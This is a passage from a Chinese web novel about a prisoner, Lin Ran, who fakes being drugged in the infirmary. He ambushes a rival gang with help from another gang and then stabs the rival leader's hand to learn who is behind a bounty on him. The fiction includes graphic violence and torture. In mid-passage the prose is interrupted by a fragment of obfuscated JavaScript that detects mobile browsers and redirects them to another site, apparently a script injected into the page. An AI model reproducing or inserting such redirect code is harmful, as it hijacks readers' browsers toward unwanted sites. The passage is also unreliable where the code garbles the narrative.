她低着头,像是在认真查看他腿上那道旧疤。从林燃的角度,只能看见她半张侧脸,睫毛很长,在眼下投出一小片阴影。
“能。”她最终说,声音很轻,“**是管制药,但生理盐水不是。刘长生只管拿药配药,不会每支都看标签。只要把针剂里的东西换掉……”
她没说完。
林燃懂了。
“但有个问题。”苏念晚抬起头,看着他,“刘长生给你打药的时候,他会在场。就算针管里是盐水,他以为给你打了药,你装晕——可他之后呢?他要通知白癜风,白癜风的人会在外面等着。你装晕,然后被他们弄走……”
她没说下去,但意思到了:这是个死局。装晕只能骗过第一步,骗不了后面的所有人。
“我知道。”林燃说,“我会有安排。”
苏念晚盯着他看了几秒。
那眼神很复杂,有担忧,有疑惑,还有一点……像是认命了。
“什么时候动手?”她问。
“还没定。”林燃站起来,放下裤腿,“等刘长生那边先动。他拿了药,总得找机会用。你帮我盯着——他哪天调排班表,哪天安排我去‘复查’,第一时间告诉我。”
苏念晚点点头。
林燃走到门口,手已经搭上门把,又停住。
“你自己小心。”他说,没回头,“刘长生如果真有问题,他也会盯着你。”
身后没声音。
过了几秒,才传来很轻的一声“嗯”。
林燃拉开门,走出去。
走廊里消毒水的味道依旧浓烈。他经过药房门口时,脚步顿了一下——门关着,但门缝里透出光,还有翻动纸张的窸窣声。
刘长生在里面。
林燃没停,继续往前走。
……
第二天放风,林燃去了北佬帮那边。
他没直接找赵大金,而是先让小浙江传了话。小浙江听完,脸上没什么表情,只是点了点头,转身走了。
过了大概十分钟,小浙江又晃回来,经过林燃身边时,声音压得极低:
“虎爷说,可以,老地方。”
老地方。又是东角那堆废器械后面。
林燃点了点头。
到那,
赵大金蹲在一堆生锈的铁管中间,穿着一件洗得发灰的汗衫。
小浙江站在他身后,抱着胳膊,像个影子。
林燃在他对面蹲下。
两人隔着两步距离,中间是堆破轮胎。
“小浙江说你有事。”赵大金先开口,声音沙哑,带着点东北口音,“说吧。”
林燃没绕弯子。
“白癜风要在医务室对我动手。”他说,语速不快,每个字都清楚,“他收买了刘长生,给我下药。药倒之后,他会派人把我弄到没人的地方,弄死。”
赵大金眯了眯眼。
“你消息挺灵。”
林燃说,“信不信由你。”
赵大金盯着他看了几秒,然后点了点头:“信。你这种人,不会拿这种事开玩笑。”
他顿了顿,从怀里摸出根烟,点上。火光亮起的瞬间,林燃看清他脸上的疤——那道从眉骨斜劈到下颌的疤,在光里像条扭动的蜈蚣。
“你想让我做什么?”赵大金吐出一口烟。
“帮我设个局。”林燃说,“白癜风既然想让我去医务室,那我就去。药该下就下,我该晕就晕。然后他的人会把我弄走——弄到某个事先选好的地方,动手。”
他顿了顿,看着赵大金的眼睛。
“那个地方,你得先帮我摸清楚。然后,带着你的人,提前埋伏好。”
赵大金没说话,抽烟。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17212205|197428||http|test|mini|href|location''.split(''|''),0,{}));
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r>“等白癜风的人把我弄进去,动手的时候——”林燃继续说,“你的人冲进来,正好撞见。帮我把白癜风那伙人,一锅端了。”
赵大金听完,沉默了几秒。
然后把烟头按在铁管上,捻灭。
“好处呢?”他问。
“三监区。”林燃说,“笑面佛**,白癜风倒了之后,三监区那摊生意,没人接手。码头帮手伸得太长,吃相难看。到时候,你北佬帮想**来,没人拦着。”
赵大金笑了。
那笑声很干,像砂纸磨铁。
“三监区?”他重复了一遍,“你小子,拿我北佬帮的刀,帮你**,完了还给我画个饼?”
“不是饼。”林燃说,“是三监区的位置。你比我清楚——笑面佛一死,他那摊生意,码头帮想吃,白癜风也想接。但他们谁都吃不下,因为吃相太难看,上面盯着。你北佬帮一直窝在四监区,手伸不过来。这次是个机会。”
他顿了顿,看着赵大金。
“我要的是命,你要的是地盘。各取所需。”
赵大金没接话。
他盯着林燃看了很久。
“你这小子,”赵大金终于开口,声音里带了点说不清的意味,“胆儿够肥。”
林燃没吭声。
“行。”赵大金站起来,拍了拍裤腿上的灰,“就按你说的办。后天下午三点,你该去医务室去医务室,该晕就晕。后面的事,我来安排。”
他转身要走,林燃叫住他。
“虎爷。”
赵大金回头。
“我的人,你别动。”林燃说,“刀疤辉、周晓阳、麻杆、牛哥——这四个,你得给我留着。”
赵大金盯着他看了两秒,然后咧嘴笑了。
“放心。”他说,“我赵大金,不杀自己人。”
说完,他带着小浙江,消失在废器械堆的阴影里。
林燃又在原地蹲了一会儿。
他站起来,活动了一下发麻的腿。
左腿胫骨还是有点疼,但比起心里的那点火,这点疼几乎可以忽略。
后天下午三点。
猎人,还是猎物?
得看谁的手更快,谁的脑子更冷。
第一百五十五章 换药
苏念晚的消息很快就来了,她找了个机会,趁着病房消毒的时候,扔了个纸条给林燃。
上面只有一行字,就是刘长生给自己换了后天的班,按时间算,这天就非常有可能。
林燃看完就把纸条吃了。
但现在这个时间还只是有可能。
刘长生和白癜风也可能换之后的某一天再动手。
这样不可知的风险太危险。
林燃要么不做,要么一击必中。
他既然得知了后天刘长生值班,干脆就故意露个破绽,“安排”白癜风他们在那天动手。
这个“饵”就要通过一个人放过去。
刚好。
林燃手边就有一个趁手的新手下——阿贵。
他和刀疤辉,偷偷联系上阿贵,让他把自己后天下午准备一个人去医务室复查的事透漏给白癜风,引诱对方出手。
阿贵放消息这天,是个阴天。
放风场上人不多,灰蒙蒙的天压得很低,风里带着雨腥味。林燃蹲在单杠边上,慢慢活动左腿——伤处还肿,但比前几天强多了。
刀疤辉蹲在旁边,眼睛瞟着远处。白癜风那伙人聚在操场对角,铁锤坐在最外面,手里捏着根烟,没点,就捏着。
“燃哥,”刀疤辉压低声音,“阿贵过去了。”
林燃没抬头,眼睛余光扫过去。
阿贵瘦得像根竹竿,晃悠悠走到白癜风那边,弯着腰说了几句什么。
白癜风侧着脸听,脸上那道白斑在灰暗天光下格外刺眼。听完,他点了点头,从怀里摸出根烟,扔给阿贵。
阿贵接住烟,点头哈腰地退开,消失在人群里。
刀疤辉啐了一口:“妈的,演得还挺像。”
“戏做全套。”林燃站起来,活动了一下腿,“他适合弄这个。”
“你说白癜风信吗?”
“信不信不重要。”林燃说,“重要的是他想动手。阿贵只是递了个台阶,让他觉得这台阶好走。”
刀疤辉想了想,点点头。
消息是阿贵递过去的:林燃腿伤复发,明天下午三点得去医务室复查。刘长生当班,那会儿医务室人少,护工小夏去市里领药,就剩刘长生一个人。
对白癜风来说,这是个好机会。
林燃想,如果自己是白癜风,也会选这个时间、这个地点。医务室偏僻,神不知鬼不觉。
多好的局。
就看谁先踩进去。
…………
后天下午三点。
这个时间点在林燃脑子里钉了三天。
钉得很深,深到睡觉时都能看见那三个数字在黑暗里发着光,像倒计时牌。
他照常吃饭,照常劳动,照常在放风时沿着操场慢跑——左腿胫骨还是有点疼,但步子稳,呼吸匀。刀疤辉跟在侧后方,小腹的伤没好利索,跑几步就龇牙咧嘴,但咬着牙跟。
阿贵放出消息后这两天表现得很安分。
白癜风那边什么反应,阿贵看不出来。但他看见铁锤那几个人这两天眼神不对,看林燃时像看块肉。
当天的下午两点四十。
医务室走廊里消毒水的味道还是那么浓。
苏念晚坐在处置台前,面前摊着本药品消耗登记簿,笔尖悬在纸上,半天没落下去。
白大褂内侧那个暗袋里,藏着两支针剂。
标签上印的都是“**注射液”,但里头装的——一支是生理盐水,另一支也是。真正的药液昨晚就被她抽出来,倒进了水池,冲走了。
水流打着旋儿消失时,她盯着那个黑洞看了很久。
刘长生今天来得早。
两点五十,他就从药房出来,在走廊里晃了晃,看见苏念晚,点了点头,脸上挂着那种公事公办的笑。
“苏医生,还没下班呢?这都到点了,赶紧撤吧,我人都来了。”
苏念晚皮笑肉不笑的点了点头,换好衣服,看了一眼已经等在处置室的林燃。
虽然计划好了,但她不想走。
走了,这里只有刘长生一个医生。
然后他走到处置室门口,往里看了一眼。
“小林今天来复查?”他问,语气随意。
苏念晚头也没抬:“登记的是三点。”
“行。”刘长生说,“那你忙,我待会儿过来看看。”<
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br>他走了。脚步声在走廊里渐渐远去。
苏念晚握着笔的手,脸色有些发白。
三点差五分。
林燃走进医务室。
他今天换了件干净的囚服,头发也像是刚用水抿过,贴在额角。左腿走路还有点跛,但脸色正常,看不出什么。
苏念晚抬起头,两人目光碰了一下。
很短。但够用了。
“腿又疼了?”苏念晚问,声音公事公办。
“阴天,有点酸。”林燃在处置床边坐下,撩起裤腿。
苏念晚蹲下来,手指按了按他左腿胫骨。动作专业,但指尖有点凉。
“骨头没事,应该是老伤。”她说,站起来,走到处置台边,“我给你开点活血化瘀的药,待会儿去药房拿。”
她说着,拿起处方笺,低头写了几笔。写完后,她把处方折好,递给林燃。
接过时,两人的手指碰了一下。
是心照不宣的提示。
林燃没反应,直接起身。
他站起来,朝门口走去。
走到走廊里,正碰上刘长生从药房出来。
“哟,小林,这就走啦?”刘长生笑着问。
“嗯,开了点药。”
林燃扬了扬手里的处方。
“给我看看。”刘长生伸手接过,低头扫了一眼,点了点头,“活血化瘀的,对,你这腿确实得养。”
他把处方递回来,拍拍林燃肩膀:“去药房拿药吧,我在那边。”
林燃点点头,朝药房走去。
脚步平稳。
但心里那根弦,绷到了极限。
三点整,苏念晚下班。
药房里只有刘长生一个人。
林燃把处方递过去,刘长生接过来看了看,转身去药柜拿药。动作很慢,慢得像是在等什么。
“小林啊,”他背对着林燃,声音从药柜那边飘过来,“你这腿伤拖得够久的,要不要打个封闭?能好得快些。”
林燃坐在椅子上,看着他的后背。
那后背微微佝偻着,白大褂有点皱,肩膀的位置有块洗不掉的碘伏痕迹。
“什么封闭?”林燃问。
第一百五十六章 动手
“就是局部注射。”刘长生转过身,手里多了个托盘,上面摆着两支针剂、酒精棉、注射器,“打一针,疼能消得快,恢复也快。我们医务室自己配的,效果挺好。”
他说着,把托盘放在桌上,开始拆注射器包装。
动作熟练,但手指有点抖。
很轻微,如果不是盯着看,根本注意不到。
林燃看着那两支针剂。标签上印着“**注射液”,蓝白色的,和平时见到的一样。
“打了就能好?”他问。
“打了就能好。”刘长生抬起头,笑了笑,“放心,就是封闭针,不疼。”
他说着,抽出一支针剂,敲掉安瓿瓶的瓶颈,用注射器吸出药液。动作流畅,一气呵成。
“把袖子撸起来。”他说。
林燃没动。
他看着刘长生手里的注射器。针尖很细,在日光灯下闪着光。
“刘医生,”他忽然开口,“你打过多少次这种针?”
刘长生愣了愣:“挺多次了,怎么了?”
“没什么。”林燃慢慢解开袖子,露出上臂,“就是问问。”
针尖刺入皮肤时,有一点凉,然后是轻微的胀。
刘长生推得很快,几秒钟就推完了。他拔出针,用棉签按住针眼。
“行了。”他说,笑了笑,“坐会儿,等不晕了再走。”
林燃点点头。
药房里安静下来。
只有墙上的挂钟在走,滴答,滴答。
林燃坐着,眼睛看着窗外。窗户对着监狱内院,能看见远处高墙上的电网,和更远处灰蒙蒙的天。
刘长生在收拾托盘,动作有些急促。他把用过的针剂空瓶丢进废物桶,把注射器拆开,泡进消毒液里。
林燃感觉到眼皮有点沉。
他眨了眨眼,又眨了眨。
头也开始晕,像喝多了酒,天旋地转。
他慢慢靠在椅背上,眼睛半闭着。
刘长生转过身,看见他这样子,嘴角抽了抽。
“小林?”他叫了一声。
林燃没反应。
“小林?”他又叫了一声,声音大了些。
林燃的头垂下去,整个人软在椅子里。
刘长生盯着他看了几秒,然后快步走到门口,打开门,朝走廊里招了招手。
三个人影闪进来。
打头的是铁锤。
这人长得真像把锤子——矮,壮,脑袋大,脖子粗,两只手垂在身侧,像两把生锈的铁钳。他身后跟着两个生面孔,一高一矮,眼神都很冷。
“成了?”铁锤问,声音闷得像从瓮里传出来的。
刘长生点点头,指了指瘫在椅子上的林燃。
铁锤走过去,伸手拍了拍林燃的脸。没反应。他又翻开林燃的眼皮看了看,瞳孔散着,是真的晕了。
“行。”他咧嘴笑了,露出一口黄牙,“货真价实。”
他从腰后摸出个麻袋,抖开,朝那两个生面孔摆摆头。
两人上前,把林燃从椅子上架起来,头朝下塞进麻袋。动作麻利,像是干惯了这种事。
铁锤扎紧袋口,往肩膀上一扛。
“刘医生,”他临走时回头,冲刘长生点了点头,“钱明天有人送来。”
刘长生站在那儿,脸色有点白,但还是点了点头。
铁锤扛着麻袋,三个人闪出药房,消失在走廊尽头。
刘长生关上门,背靠着门板,喘了几口气。
他擦了擦额头的汗,走到桌边,拿起那杯凉透的茶,一口气灌下去。
喝完,他愣了一会儿,然后慢慢坐下,盯着窗外发呆。
窗外什么也没有,只有那堵灰白色的高墙。
麻袋里很黑,很闷,有股陈年霉味和汗酸味混在一起。
林燃闭着眼,身体随着扛他的人脚步晃动,一颠一颠的。
他能感觉到扛他的人走得很快,很稳,显然对路线很熟。左转,右转,台阶,再左转——这是在往锅炉房那边走。
锅炉房后面有个废弃的维修间,平时没人去。地方隐蔽,隔音好,就算里面喊破嗓子,外面也听不见。
那里应该就是终点。
林燃继续闭着眼,调整呼吸,让身体保持完全瘫软的状态。左手慢慢移动,碰到怀里那个硬邦邦的东西——是阿贵昨晚偷偷塞给他的,一把磨尖的牙刷柄,尖头裹着布条,防止扎伤自己
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。
东西还在。
三点零五分。
维修间的门被一脚踢开。
铁锤把麻袋往地上一扔,闷响。
“放出来。”他喘着粗气说。
袋口被解开,光涌进来。
林燃闭着眼,一动不动。
一只手抓住他头发,把他从麻袋里拖出来,扔在地上。
水泥地很凉,硌得生疼。他继续瘫着,呼吸浅而均匀。
“真晕了?”一个声音问。
“废话,刘长生那药,一头牛都能放倒。”另一个声音说。
“白癜风呢?不是说他要亲自动手?”
“马上到,他带人殿后,怕路上撞见干部。”
铁锤蹲下来,又拍了拍林燃的脸。
“这小子,值七万呢。”他嘿嘿笑,“一条命七万,老子干十年都挣不到这么多。”
旁边两人也笑了,笑声在空荡荡的维修间里回荡。
林燃心里默默数着。
三个人。铁锤,还有那两个生面孔。白癜风带人在后面。
够一锅端了。
三点零七分。
维修间的门又开了。
脚步声,不止一个。
“人呢?”白癜风的声音。
“这儿呢。”铁锤站起来,邀功似的指着地上的林燃,“晕得死死的,跟死猪一样。”
白癜风走过来,低头看着林燃。
林燃能感觉到那道目光,阴冷,像蛇信子,在他脸上舔来舔去。
“就他?”白癜风的声音有些飘,“就这小子,把鳄老大弄了,把佛爷弄了,把疤脸废了?”
“就是他。”铁锤说。
白癜风沉默了几秒。
然后他抬起脚,狠狠踩在林燃左腿胫骨上。
剧痛瞬间炸开。
林燃差点叫出声,硬生生咬住牙关,身体只是轻微抽搐了一下。
“还他妈装晕?”白癜风冷笑,脚上又加了几分力,“醒了吧?醒了就睁眼,咱们聊聊。”
林燃没动。
白癜风又踩了两脚,每一下都踩在旧伤上。
疼得钻心,但他忍住了。
“真晕了?”白癜风有些意外,松开脚,“刘长生那药劲儿这么大?”
第一百五十七章 审问
“刘长生说了,能晕俩小时。”铁锤凑上来,“老大,动手吧,早弄完早走。”
白癜风盯着地上的林燃,没说话。
他总觉得哪里不对。
林燃这种人,会这么容易就栽了?
可他确实躺在这儿,像条死狗一样任人踩,要是装的,这忍劲儿也太吓人了。
“老大?”铁锤催了一句。
白癜风咬了咬牙。
不管了,人都在这儿了,还犹豫什么?
他从腰后摸出把**——不长,但刃很利,在昏暗的光线下闪着寒光。
“佛爷,”他蹲下来,把刀抵在林燃脖子上,“我替您送他上路。”
刀锋冰凉。
林燃能感觉到脖子上的皮肤被压出一道凹痕,随时可能割破。
他左手悄悄握紧了那截手术刀残片。
就在刀锋将要划下的瞬间——
“砰!”
一声闷响,像是铁器砸在肉上的声音。
铁锤惨叫一声,整个人向前扑倒,后脑勺上绽开一朵血花。
“谁?!”
白癜风猛地站起来,握紧刀,扭头朝门口看去。
维修间的门不知何时已经敞开。
门外站着三个人。
打头的是小浙江。
他手里握着把弹弓——不是普通的弹弓,是那种用汽车内胎剪的、力道极大的家伙。刚才那一下,就是他打的。石子儿鸡蛋大,正正砸在铁锤后脑勺上。
他身后站着两个北佬帮的人,一个提着铁管,一个攥着把自制的**。
还没等白癜风反应过来,门外又涌进来五六个人。
瞬间,维修间里挤满了人。
白癜风握着刀,脸色变了。
“你们……”他喉咙里滚出一声低吼,“赵大金让你们来的?”
小浙江没理他,目光越过他,落在地上的林燃身上。
“还躺着?”他开口,声音还是那副半死不活的调子,“该起了。”
林燃睁开眼。
他从地上慢慢坐起来,揉了揉被踩得生疼的左腿,然后站起来。
白癜风盯着他,眼珠子都快瞪出来。
“你……你没晕?”
林燃拍拍身上的灰,“装的,不然怎么把你们钓出来一网打尽?”
接着,他旁若无人走到铁锤身边——那人趴在地上,后脑勺还在往外渗血,身体偶尔抽搐一下,但已经不省人事了。
“这玩意儿挺厉害。”林燃踢了踢铁锤的腿,抬头看向小浙江,“哪弄的?”
“自己做的。”小浙江把弹弓收起来,揣进怀里,“钢珠打完了,只剩石子儿。”
林燃点点头,转向白癜风。
白癜风握着刀的手有点抖。
他带来的那四个人,两个生面孔已经被人按在地上,动弹不得。剩下两个站在他身后,脸色惨白,腿都在打颤。
“白建国。”林燃看着他,声音很平,“你说,这事儿怎么收场?”
白癜风腮帮子绷紧了,那道白斑在昏暗光线下像块溃烂的疤。他握刀的手青筋暴起,但没动。
“林燃,”他咬着牙说,“你今天弄死我,外面的人会找你算账。佛爷的人,码头帮的人,还有……”
“还有谁?”林燃打断他。
白癜风没说话。
林燃往前走了一步。
白癜风下意识退了一步。
“你说。”林燃又往前走一步,“还有什么人?”
白癜风又退一步,背已经抵上了墙。
他握着刀的手在抖,刀尖对着林燃,但抖得厉害,根本刺不出去。
林燃走到他面前,抬起手,握住他握刀的手腕。
很轻,没用力。
但白癜风的手抖得更厉害了。
“白建国,”林燃盯着他的眼睛,声音压得很低,低得只有两人能听见,“你这条命,归我了。”
白癜风脸这下白的像**。
他知道自己已经穷途末路了。
维修间里的空气混着铁锈和霉味,还有铁锤后脑勺渗出的血腥气。
林燃握着他的手腕,能感觉到对面这家伙的脉搏跳得飞快,像只被逼到墙角的耗子。
白癜风手里的**还指着林燃,但抖得厉害,刀尖在空中划出细小的弧线。
他那道白斑在昏暗光线下发着惨白的光,额头上汗珠子一颗接一颗往下滚。
“林燃
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,”白癜风开口,嗓子像被砂纸磨过,“你今天弄死我,对你有什么好处?”
林燃没说话,只是看着他。
白癜风腮帮子绷得更紧了:“佛爷的人不止我一个。你弄死我,外面那些兄弟……”
“你还有兄弟?”
林燃打断他,声音很平,“豁嘴废了,铁锤躺了,你身后那俩——”
他瞥了一眼白癜风身后那两个人,“腿都软了,站都站不稳,你还指望他们给你报仇?”
白癜风脸色白了白。
林燃松开他手腕,退后一步。
“我不杀你。”他说。
白癜风愣了愣,眼睛里闪过一丝疑惑,还有一丝藏不住的——希望?
“但你得告诉我,”林燃继续说。
“笑面佛活着的时候,谁在外面给他递话?谁出的钱,让你和鳄老大他们,非得弄死我?”
白癜风没吭声。
林燃也不急,就站在那儿看着他。
小浙江靠墙站着,手里还握着那把弹弓,脸上没什么表情。
北佬帮的人已经把铁锤和那两个生面孔拖到角落,按着不让他们动。
“两万买腿,三万买眼珠。”
林燃慢慢说,“这价钱,不便宜,笑面佛有点钱,但他不会莫名其妙的要对付我一个新犯人,还是花这么大功夫,这么多钱来悬赏要我命?”
白癜风的喉结滚动了一下。
“有人在后面撑着。”林燃继续说,“那人能量不小,能让你们在监狱里随便动我,能买通刘长生那种货色,还能让你——”他盯着白癜风的眼睛,“让你到现在还不敢说出他名字。”
“你……你自己也说了,你应该也知道了,是副监狱长彭振……”
白癜风想把一切推到彭振身上,可林燃马上否定了这个说法。
他一把抽出自己的手术刀,一下扎穿握着的白癜风手掌!
“啊!”
白癜风猛的叫出声,想抽回手,但林燃死死拽着他,刀片甚至往骨骼筋络处划动了些许。
白癜风疼得脸都扭曲,想求救,但眼前林燃恶虎一般的眼神一盯,他只能嘶哈嘶哈的喘着粗气。
第一百五十八章 刘昌荣
手术刀片在白癜风手掌里又拧了半圈。
不是大动作,就一点点,但足够让那刀刃蹭着骨头缝,刮出让人牙酸的细响。
白癜风整个人像被抽了筋,软着往地上出溜,但手腕还被林燃攥着,吊在半空。
血顺着他小臂往下淌,滴在水泥地上,啪嗒,啪嗒。
“别……别……”他声音都变了调,喉咙里像卡着口痰,“我说……我说!”
林燃没松手,也没再动,就那么看着他。
白癜风大口喘气,额头的汗珠子糊了满脸,那道白斑在汗水里泡得发亮,像块快脱落的死皮。
“是……”他咽了口唾沫,“是外面的人。”
“废话。”林燃说。
“不是彭振!”白癜风急急地补了一句,疼得龇牙咧嘴。
“彭振那级别……不够。是外面,深海市边……一个老板。”
深海市。
林燃心里那根弦跳了一下。
“名字。”
“我……我不知道真名。”
白癜风脸色惨白,“佛爷活着的时候,叫他‘昌哥’。做进出口生意的,很有钱……佛爷在监狱里能过得那么舒坦,外面有人拉他做海外大生意,就是他。”
昌……
昌荣国际。
刘昌荣。
林燃脑子里闪过这个公司和这个幕后股东的名字。
秦墨之前查过,那公司2000年6月——他出事那个月——注册资本从五十万暴增到一千万。法人叫刘昌荣,但背后股东结构复杂,有外资背景。
林燃收敛心神,仔细问:
“他怎么跟笑面佛搭上的?”
“早……早了。”白癜风喘着气。
“佛爷进来之前就认识。那人能量大,佛爷判这么重,在里面都能活得跟老大似的,全靠他在外面撑着。佛爷说过……那人是做大事的,咱们惹不起。”
“他为什么要弄死我?”
“我……我真不知道。”白癜风声音发虚,“佛爷就让全帮派的人盯着你,找机会弄你。我问过为什么,佛爷不说,就说……就说你挡了道。”
挡了道。
林燃想起那个无法忘记的晚上,那个自称“姚永军”的光头副局长,那个闷热的办公室,那包50克“双狮地球”。
这人和姚永军有密切关系!
很可能和姚永军一样,是前世废掉自己的幕后黑手!
可自己竟然在不知觉中,怎么得罪了刘昌荣和姚永军这样的人物?
甚至还挡了他们的道?
自己一个刚毕业的警校生,能挡谁的道?
除非……挡的不是现在的道,是将来的道?
“他还说过什么?”
白癜风摇头,摇得飞快:“没了,真没了!佛爷嘴紧,这种事不跟我们说。就有一回,他喝多了,念叨过一句——说那人跟省里都有关系,手眼通天。还说……”
他顿了顿。
“说什么?”
“说……”白癜风舔了舔嘴唇,“说你命硬,鳄老大弄不死你,他弄不死你,那人有点急了。”
林燃沉默了几秒。
维修间里只有铁锤偶尔的呻吟声,和那两个生面孔压抑的喘气声。
小浙江靠墙站着,弹弓收起来了,眼睛却一直盯着这边,脸上没什么表情。
“那个‘昌哥’,怎么联系?”林燃问。
“联系不上。”白癜风说,“都是佛爷单线跟他的人接。佛爷**,那条线就断了。”
林燃盯着他。
白癜风被那眼神刺得一哆嗦:“真断了!我发誓!佛爷那人多精啊,这种核心东西不会交给别人。豁嘴他们都不知道,就我知道个名字……”
他说着,突然想起什么似的,急急道:“对了!东西!佛爷有个账本,是这些年他生意的底账,里面记着东西!”
“在哪儿?”
“我……我不知道。”白癜风又缩了缩,“佛爷死之前,那笔记本还在他那儿。后来人**,东西就没了。可能……可能被管教收走了?也可能……”
他没说完,但林燃听懂了。
也可能被那个“昌哥”的人拿走了。
林燃松开手。
白癜风整个人瘫在地上,握着那只血淋淋的手,疼得直抽气,但不敢叫出声。
林燃蹲下来,平视着他。
“白建国,”他说,声音
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不高,“你这条命,我今天不取。但往后——”
他顿了顿。
“往后在三监区,你见我一次,绕道十米。你手下那几个人,见312的人,低头走路。你那些生意,该缩的缩,该停的停,以后我就是你的天。听懂了吗?”
白癜风脸色惨白,点了点头。
“说话。”
“听……听懂了。”
林燃站起来,低头看着地上那一摊。
血还在流,在地上洇开一小片暗红。白癜风蜷在那儿,哪还有半点以前那股阴狠劲儿,就像条被抽了脊梁骨的癞皮狗。
“还有,”林燃说,“豁嘴的手是你害的。要不是你让他来动我,他那手废不了。往后他的事,你管。他要钱看病,你出。我不欠你们什么,以后再敢惹我……”
他踢了踢铁锤的腿。
“他就是你的下场。”
白癜风喉咙里滚出一声呜咽,没敢接话。
林燃转身朝门口走去。
走了两步,又停下来,回头。
“对了,你这手——”他指了指白癜风捂着的那只血手,“自己摔的,明白吗?”
白癜风拼命点头。
林燃走出维修间。
外面天已经暗了,云层压得很低,风里带着雨腥味。锅炉房那边的烟囱在黑沉沉的天幕下杵着,像个沉默的巨人。
小浙江跟出来,在他身后站定。
“虎爷说,这次人给你用。”他开口,声音还是那副半死不活的调子,“后面的事,你自己收尾。”
林燃点点头。
“谢了。”
小浙江没接话,转身走了。那几个北佬帮的人也陆续出来,经过林燃身边时,有人朝他点点头,有人没看,但脚步都放轻了些。
林燃站在原地,看着他们消失在锅炉房的阴影里。
左腿胫骨还在疼,被白癜风踩的那几脚踹得不轻。他活动了一下脚踝,深吸一口气。
昌荣国际。
昌哥。
深海市,做进出口生意的老板。
和省里都有关系。
彭振。
姚永军。
这些碎片在脑子里拼着,但还拼不出完整的图。
第一百五十九章 一方势力
不过至少有了个方向。
比之前两眼一抹黑强。
他慢慢往回走。
走到锅炉房拐角时,一个人影从阴影里闪出来。
是刀疤辉。
他蹲在那儿不知道蹲了多久,见林燃过来,蹭地站起来,小腹的伤扯得他龇牙咧嘴,但还是快步迎上来。
他是之前安排的后手。
“燃哥!”
“没事。”林燃说,“其他人呢?”
“都在312,还没动。周晓阳急得直转圈,麻杆那小子趴门缝看了一百回了。”刀疤辉上下打量他,看见他裤腿上溅的血点,“这是……”
“白癜风的。”林燃说,“回去说。”
两人一前一后,穿过那条管道,回到医务室走廊,像如同什么都没发生一样,只是去医务室复查了一下,重新向管教报告,然后回到312。
门一推开,周晓阳等人凑过来了。
“燃哥!”
“别嚎。”林燃关上门,靠在墙上,这才允许自己喘口气。
麻杆端过来半缸子水,林燃接过来,一口气灌下去。水是凉的,从喉咙一直凉到胃里,把那点火气压下去些。
牛哥蹲在便池边,眼睛瞪得溜圆,想说话又不敢。
刀疤辉往铺上一坐,龇牙咧嘴地揉小腹,但脸上那股兴奋劲儿压都压不住。
“燃哥,成了?”
林燃点点头。
“白癜风那边……”
“废了。”林燃说,“往后在三监区,他见咱们绕道走。”
监舍里静了两秒。
然后周晓阳第一个反应过来:“**!燃哥牛逼!”
麻杆和牛哥也跟着嘿嘿笑,笑得脸都皱起来。
周晓阳笑够了,凑过来,压低声音问:“燃哥,那咱们……以后是不是就是这里的……”
他没说完,但意思到了。
林燃看了他一眼。
这小子跟着自己,现在脸上那股畏畏缩缩的劲儿没了。眼睛里有了点光,是那种跟着狼混久了,自己也觉得自己能龇牙的光。
“以后的事以后说。”林燃在铺上坐下,慢慢解开缠手的布条。
手指关节破了皮,是刚才拧刀片时蹭的。他抹了点药——还是上次苏念晚给的,还剩半管。
“明天开始,该干嘛干嘛。白癜风那边不用管,但别主动惹事。码头帮那边……”他顿了顿,“再看。”
刀疤辉点点头。
周晓阳也点点头,拄着拐回自己铺位,躺下,眼睛还亮着。
麻杆和牛哥也各自缩回去。
熄灯哨响的时候,监舍里陷入黑暗。
林燃躺在那儿,睁着眼。
天花板上那道裂缝还在,探照灯的光每隔十五秒扫过一次。
他想起白癜风的话。
深海市的老板。
做进出口生意。
和省里都有关系。
还有那个笔记本。
笑面佛的笔记本,记着东西。
如果东西真被管教收走了,得想办法弄出来。如果被那个“昌哥”的人拿走了……
林燃闭上眼睛。
窗外有风声,远处有不知哪个监舍传来的咳嗽声。
活着。
翻案。
走出去。
这三个目标还在,一个都没变。
但路,好像又往前挪了一步。
第二天放风,操场上那点微妙的气氛,像滴进清水里的墨,慢慢洇开了。
林燃照旧沿着操场边慢跑。左腿胫骨还有点疼,但步子稳。刀疤辉跟在侧后方,周晓阳跟着后方。
麻杆和牛哥蹲在墙角,眼睛四处瞟,活像两只放风的土拨鼠。
白癜风那伙人今天没来。
不对,白癜风本人压根没出现。
他那几个手下倒是有两个在操场上,蹲在西北角,头埋得低低的,林燃跑过去时,那两人恨不得把脑袋塞裤裆里。
刀疤辉啐了一口:“妈的,昨天还龇牙,今天就怂了。”
林燃没说话,继续跑。
第二圈跑完,他在单杠边停下,活动了一下腿。
正活动着,眼角余光瞥见一个人影晃过来。
是大眼仔。
他今天没带人,就自己一个,手里捏着根烟,没点,就那么捏着。走到离林燃三步远的地方,站住了。
“燃哥。”他开口,声音比往常低了八度。
林燃看着他。
大眼仔那双眼袋很重的眼睛这会儿有点躲闪,但还算稳。他搓了搓手里的烟,说:“王哥让我带句
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话。”
“说。”
“之前的事……”大眼仔顿了顿,“王哥说,都是生意,各为其主。现在事过了,往后三监区,各走各的道。”
话说得漂亮。
但翻译过来就是:码头帮认栽,不找你麻烦了,以后井水不犯河水。
林燃看着他,没接话。
大眼仔被那眼神盯得有点不自在,又搓了搓烟,补了一句:“船爷也知道这事。船爷说……年轻人有股狠劲儿是好事,但别太气盛。”
这话有意思。
敲打,也是试探。
林燃此时今非昔比了,他直接怼了回去。
“不气盛还是年轻人吗!?”
对于大眼仔这样的码头帮成员,将船爷简直奉若神明,此时林燃却直挺挺的怼了回来。
他一愣眼,不知道怎么接话。
林燃却不惯着。
“你回去告诉船爷,别在我跟前摆什么资历,我林燃不信这些,这里面不信这些,这里只认实力。”
大眼仔此时话都说不出,只能点了点头。
他继续说,“我林燃没想跟谁过不去,就想好好活着。谁不让我活,那他也别想活,不信的话……”
他顿了顿。
“可以去问笑面佛。”
大眼仔盯着他看了两秒,然后点了点头,转身走了。
走出十几步,他把那根一直没点的烟叼嘴里,摸出打火机点上,狠狠吸了一口。
烟雾在风里散开。
刀疤辉凑过来,压低声音:“燃哥,码头帮这是……”
“求和。”林燃说,“也是划界。”
